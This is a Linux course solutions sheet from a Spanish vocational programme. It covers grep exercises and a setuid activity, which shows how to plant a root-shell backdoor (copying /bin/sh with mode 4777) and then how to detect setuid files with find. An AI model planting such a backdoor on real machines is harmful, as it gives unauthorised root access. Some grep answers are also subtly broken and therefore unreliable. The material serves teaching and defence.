UNIT 10.LINUX
Activities 3 - Solutions

Computer Systems
CFGS DAW

Alfredo Oltra / Sergio Garcia
alfredo.oltra@ceedcv.es
2019/2020

Versión:190927.1214

Licencia

Reconocimiento – NoComercial – CompartirIgual (by-nc-sa): No se permite un uso comercial de la obra original ni de las posibles obras derivadas, la distribución de las cuales se debe hacer con una licencia igual a la que regula la obra original.

Nomenclatura

A lo largo de este tema se utilizarán distintos símbolos para distinguir elementos importantes dentro del contenido. Estos símbolos son:

🎖 Actividad opcional. Normalmente hace referencia a un contenido que se ha comentado en la documentación por encima o que no se ha hecho, pero es interesante que le alumno investigue y practique. Son tipos de actividades que no entran para examen

👁 Atención. Hace referencia a un tipo de actividad donde los alumnos suelen cometer equivocaciones.

UD010. LINUX
Activities 3

1.1 Activity 4

🎖 Solves those exercises using grep. grep. Note: you can chain *grep* commands using | redirector.

1. Show all lines of file *list.xt* that contain *lib*.

   Solution: grep "lib" list.xt

2. Show how many lines contain *mp3* in *list.txt*.

   Solution: grep mp3 list.txt | wc -l

3. Show files inside */etc* directory that contain *host* string inside.

   Solution: grep -r host /etc

4. Show all lines of file *list.xt* that not contains *a* (uppercase or lowercase).

   Solution: grep -vi *a* list.txt

5. Show all lines of file *list.xt* that not contains *a* (uppercase or lowercase) and contains *m* (lowercase).

   Solution: grep -vi *a* list.txt | grep I *m*

1.2 Activity 6

1. Using *setUid* bit and supposing that temporally (something like 1 hour) you have access to a machine as root and in that machine you have an user called *alumno* without sudoer permissions.

   How can we use *setUid* bit to create a backdoor?

   CLUE: file */bin/sh* could be useful.

   Solution

   AS root:

   cd $HOME

   cp /bin/sh ./

   chown root ./sh

   chmod 4777 ./sh

   Now we have created the backdoor

AS myuser:

Simply run ./sh and you will be root (you can check it with id command)

2. How can we detect that kind of backdoors on our system? What kind of measures can we take to be safe against this kind of attack?

Solution

With:

find / -path /proc -prune -o -type f -perm +4000 -ls > listado.txt

We can obtain all the files with setUID bit active. If the list changes, maybe a new setUID file has been created.

Also we can use software for “system integrity” **http://www.ossec.net/**